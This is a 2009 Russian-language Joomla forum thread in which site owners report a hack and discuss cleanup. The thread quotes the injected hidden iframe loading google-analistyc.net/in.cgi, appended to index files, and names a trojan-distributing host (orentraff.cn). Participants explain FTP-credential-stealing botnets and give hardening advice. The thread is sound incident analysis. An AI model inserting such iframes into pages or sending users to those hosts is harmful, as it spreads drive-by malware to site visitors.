Сайт взломали. Удалось восстановить, но вопрос безопасности остался актуальным

Тема в разделе "Вопросы безопасности", создана пользователем liga, 22.01.2009.

  1. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    Сегодня был взломан сайт, а именно произошло следующее:
    1)в корневом каталоге был изменен файл index.php
    его содержимое:
    Код (PHP):
    1. <!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe><!-- ~ -->

    2)в каталоге .../administrator/ также был изменен файл index.php, его содержимое равно 0, тоесть его очистили.
    3)был создан мамбот в админ панели atipsjp. Тип - контент.
    его описание
    Код (PHP):
    1. Syntax to use it {atipsjp articleID|numberWords}some text{/atipsjp}
    2.  
    3. The tag "atipsjp" represent Ajax tooltips JoomlaProdigy.
    4. "some text" is text in your content which will become a link to the content item and on "mouse over" on this text a tool tip will appear and the content in it will be fetched with ajax.
    5. For support come over to joomlaprodigy and seek help through forum.
    6.  
    7. Version 0.1, 26th November 2006.

    Проблему получилось устранить, заменив все файлы из резервной копии и удалением этого мамбота. Но возможно в файлах сайта остались скрипты или еще что-то наподобие. компоненты на сайте стоят стандартные, кроме phpbb форума. Как такое стало возможным, что пользователь получил доступ к информации, необходимой для взлома? И что необходимо сделать, чтобы такого больше не повторялось?
     
  2.  
  3. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    Опять взломали. на сей раз решил более подробно покапаться в файлах фтп, обнаружил что папка cashe имеет все права и на запись и чтение и выполнение. Обнаружил нарушения в файле index.html в кеше.
    Его содержимое:
    Код (PHP):
    1. <!-- virtual.45ru.net.au --><div style="visibi);
    2.  
    3. if(file_exists("kernel/wbs.xml")){
    4.     $xml= simplexml_load_file("kernel/wbs.xml");
    5.     $type=(string)$xml->FRONTEND['type'];
    6.     $type=isset($type)?$type:'$type';
    7.     $__WBS_INSTALL_PATH = (string)@$xml->DIRECTORIES->WEB_DIRECTORY['PATH'];
    8. }else{
    9.     $type='$type';
    10.     $__WBS_INSTALL_PATH = '';
    11. }
    12. switch ($type){
    13.     case 'SC':
    14.         $_GET['frontend']=1;
    15.                 //for IIS
    16.    
    17.     if(!strlen($__WBS_INSTALL_PATH)){
    18.     if(!isset($_SERVER['DOCUMENT_ROOT'])){ if(isset($_SERVER['SCRIPT_FILENAME'])){
    19.     $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF'])));
    20.     }; };
    21.     if(!isset($_SERVER['DOCUMENT_ROOT'])){ if(isset($_SERVER['PATH_TRANSLATED'])){
    22.     $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0-strlen($_SERVER['PHP_SELF'])));
    23.     }; };
    24.     //end for IIS
    25.         define('WBS_INSTALL_PATH',str_replace(array('\\','///','//'),'/','/'.substr(dirname($_SERVER['SCRIPT_FILENAME']).'/',strlen($_SERVER['DOCUMENT_ROOT']))));
    26.     }else{
    27.         define('WBS_INSTALL_PATH',$__WBS_INSTALL_PATH);
    28.     }
    29.        
    30.         if(!isset($_GET['__furl_path']))$_GET['__furl_path']='index.php';
    31.         include dirname(__FILE__)."/published/SC/html/scripts/index.php";
    32.         break;
    33.     case 'login':
    34.         header('Location: login/');
    35.         break;
    36.     case 'none':
    37.         print '<html><head><title></title></head><body><!-- WebAsyst blank page --></body></html>';
    38.         break;
    39.     default:
    40.         print '<html><head><title></title></head><body><!-- Error read wbs.xml file --></body></html>';
    41. }
    42. ?><!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe><!-- ~ -->
     
  4. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Регистрация:
    09.02.2007
    Сообщения:
    2 744
    Симпатии:
    160
    Пол:
    Мужской
    А логи на хостинге сохранились или тоже почистили (особенно обращение к админке)? Видел подобное, даже со ссылкой на сайт турецкой хак тимы. И уточни у хостера, были еще взломы на этом сервере, возможно межсайтовый скриптинг
     
  5. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    Asylum, Логи по не известной мне причине не открываются, с правами на папку все норм, но вот открыть ее невозможно. Покапался дальше по сайту, обнаружил что во всех папках, где создан index.html(ну типа как вам известно, для проверки после установки чего либо, создан ли каталог) теперь вместо пустого белового фона эта фигня стоит
    Код (PHP):
    1. <!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe><!-- ~ -->
     
  6. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Регистрация:
    09.02.2007
    Сообщения:
    2 744
    Симпатии:
    160
    Пол:
    Мужской
    Последнее редактирование: 22.01.2009
  7. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    Asylum, Причем у обеих ссылок очень большой цит, да и в войсе инфы о владельце нету, только какой-то NizovGrisha, самих сайтов не существует, есть только пустой файл.

    Надо будет послать на почту этого гриши grishanizov@gmail.com что он БольшойПротивныйКазел! :)
     
  8. mike84
    Offline

    mike84 Недавно здесь

    Регистрация:
    25.11.2007
    Сообщения:
    210
    Симпатии:
    15
    Пол:
    Мужской
    все тоже самое, ищу причину. давайте разбираться.
    уже достало это происходит 3й раз.

    у меня возникла такая мысль - нужны ли джумле все эти index.html пустые файлы? у меня червяк любит в них прописываться, а что если их всех удалить?
     
  9. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    mike84, Вроде бы уже писал, но могу еще раз:
    К примеру мы хотим установить модуль или компонент, естественно компонент создаст папку com_"имя" и еще всякие там images languages , так вот зачастую в каждой такой папке создается index.html, в нем ничего нету кроме
    Код (PHP):
    1. <html>
    2. <body bgcolor="#FFFFFF">
    3. </body>
    4. </html>

    это все делается для проверки, создался или нет каталог файлов, т.е. получается что нет, не нужен, но есть индекс.хтмл, в котором идет переадресация, вот насчет него не могу сказать, переадресация идет вроде бы на предыдующий индекс.хтмл, который содержит приведенный свыше код.
     
  10. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    mike84, А вы проверяли права на папки и файлы, смотрели где сидит исходный код?
     
  11. mike84
    Offline

    mike84 Недавно здесь

    Регистрация:
    25.11.2007
    Сообщения:
    210
    Симпатии:
    15
    Пол:
    Мужской
    хммм..интересный способ проверять создалась ли папка...надо на офсайте поискать про это...
    что внутри этих файлов я и сам видел.. я к тому что надо попробовать пожить без них?

    у меня те же "симптомы" - обнуление index.php в админке и редактирование configuration и index.php

    права не проверял, а какие посоветуете поставить?
     
  12. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Регистрация:
    09.02.2007
    Сообщения:
    2 744
    Симпатии:
    160
    Пол:
    Мужской
    Как все таки поломали? Есть подозрение что вирь залит с вашего компа, тотал командером пользуетесь? Сайт существует, но для просмотра доступна только директория http://orentraff.cn/icons/ Раздаваемый вирус - pinch, но вот как он туда попал?
     
  13. infoman
    Offline

    infoman Пользователь

    Регистрация:
    28.08.2007
    Сообщения:
    581
    Симпатии:
    12
    Пол:
    Мужской
    index.html это чтобьы никто не видел чтоз а файлы лежат в папке(защита от дураков ls -la) :)
    проще htaccess настроить на страницу 404
     
  14. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Регистрация:
    09.02.2007
    Сообщения:
    2 744
    Симпатии:
    160
    Пол:
    Мужской
    Liga здесь имеем дело с ботнетом, нужно
    Найти у себя лошадку, которая ворует логин и пасс к фтп
    Поменять пасс к самому фтп
    Не хранить пароли в тотал командерах и прочих
    В данном случае цель была не взлом сайта, а заливка через него троя, джумла от этого просто упала. Бот (робот) автоматом обходит все сайты, на которые нашел доступ и дописывает во все найденые индексы невидимый фрейм, с которого и заивается вирь
     
  15. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    mike84, на всех папках должны стоять права drwxr-xr-x ну или же просто 755. У меня на сайте были изменены права на папки кеш, картинки\банеры картинки\сториес на 777.

    А какая информация была изменена у вас в файле конфигурации?
     
  16. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    Asylum, Я использую FileZilla, а вот владелец сайта использует Тотал коммандер. Сегодня целый день проверяю комп на всякий пожарный, может что-нибудь даст проверка, но ничего подозрительного нету. В поддержке написали что на серверах глобального взлома сайтов не было, тоже ставят акцент на то, что поступил вирус с компьютера, через который заходили на фтп, покапался еще в файлах фтп, обнаружил что изменились права на файлы images\banners and images\stories на 777, изменил, думаю восстановить копии из резевра, поменять пароли на фтп, может поможет, главное чтобы не было ничего в базе данных.


    infoman, Хм, а разве не специальным кодом закрывают доступ к файлам на сайте (чето там Волид ор дай)? Индекс.хтмл не спасет если например знаю что есть файл components/com_papko/papko_ya.php :)
     
  17. Fanamura
    Offline

    Fanamura Доброта

    Регистрация:
    12.03.2007
    Сообщения:
    5 094
    Симпатии:
    158
    Пол:
    Мужской
    liga, а разве в расширениях нормальных не стоит ограничение, чтобы скрипты не обрабатывались не из-под CMS - рестракт акцес...
     
  18. liga
    Offline

    liga Пользователь

    Регистрация:
    21.10.2008
    Сообщения:
    495
    Симпатии:
    18
    Пол:
    Мужской
    Fanamura, А вот насчет этого хрен его знает.

    Скачал файлы с сайта, проверил на наличие вирусов, проверил индексы, добил последний в котором был этот фрейм, все вроде бы нормально, надеюсь так и будет дальше :)
     
  19. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Регистрация:
    09.02.2007
    Сообщения:
    2 744
    Симпатии:
    160
    Пол:
    Мужской
    Командер, FileZilla, IE, не важно, нормальный вирь может собрать пассы со всех известных клиентов. Да и дело, в общем, не в этом… Логика такова: - забей запрос своего фрейма в Гугле, вывалится вагон ссылок, это все сайты с такой же заразой. Во всех взломанных сайтах, есть сайты на всех CMS (а также сайты на статике), на разных хостингах. Явно тут не юзают дыру в системе или хостинге. Также с трудом верится что несколько тысяч сайтов ломали вручную, подбирая поля и прочее. Тут явная работа бота по принципу, упадет 20% сайтов, остальные донесут лошадку. Если вирус не нашли, это не значит, что его нет, AVP находит только известные ему вирусы. Грубо говоря, антивирусные базы, это как доска «Их разыскивает милиция». Если преступник будет стоять рядом, а его портрета на доске нет, то ловить его никто не будет, ибо не за что. Другое объяснение противоречит логике, это только мое мнение. Другого внятного объяснения я не нашел
    Поменяй пасс на фтп
     
  20. OlegM
    Offline

    OlegM Russian Joomla! Team Команда форума

    Регистрация:
    12.04.2007
    Сообщения:
    4 311
    Симпатии:
    375
    Пол:
    Мужской
    А папку кэша предлагаю выносить из htdocs на уровень выше, чтобы был недоступен из сети.
    Также могу сказать, что очень много зависит от хостинга: какие стоят umask и прочие права, как работает PHP (модуль и CGI).

    Ну и не используйте IE - именно он разносит заразу через iframe (из личного опыта).
     
  21. agruts
    Offline

    agruts Группа поддержки

    Регистрация:
    01.03.2006
    Сообщения:
    609
    Симпатии:
    21
    Пол:
    Мужской
    liga,
    Код (PHP):
    1. defined( '_VALID_MOS' ) or die( 'Restricted access' );
    есть не что иное, как запрет на прямой вызов файла php из адресной строки браузера.
    Имхо, имеет смысл официально обратиться к хостеру за объяснениями, с предоставлением всех логов доступа за определенный период. Если хостер нормальный, то доллжны быть ежедневные бэкапы всего сайта и БД, с которых они должны сами восстановить. Это если червяк попал в домен не по твоей вине.

    по поводу файлзилл, тоталкомандеров мое мнение - в топку. FAR, а еще лучше - WinSCP, в нем безопасность соблюдается намного выше.
     

Поделиться этой страницей

Загрузка...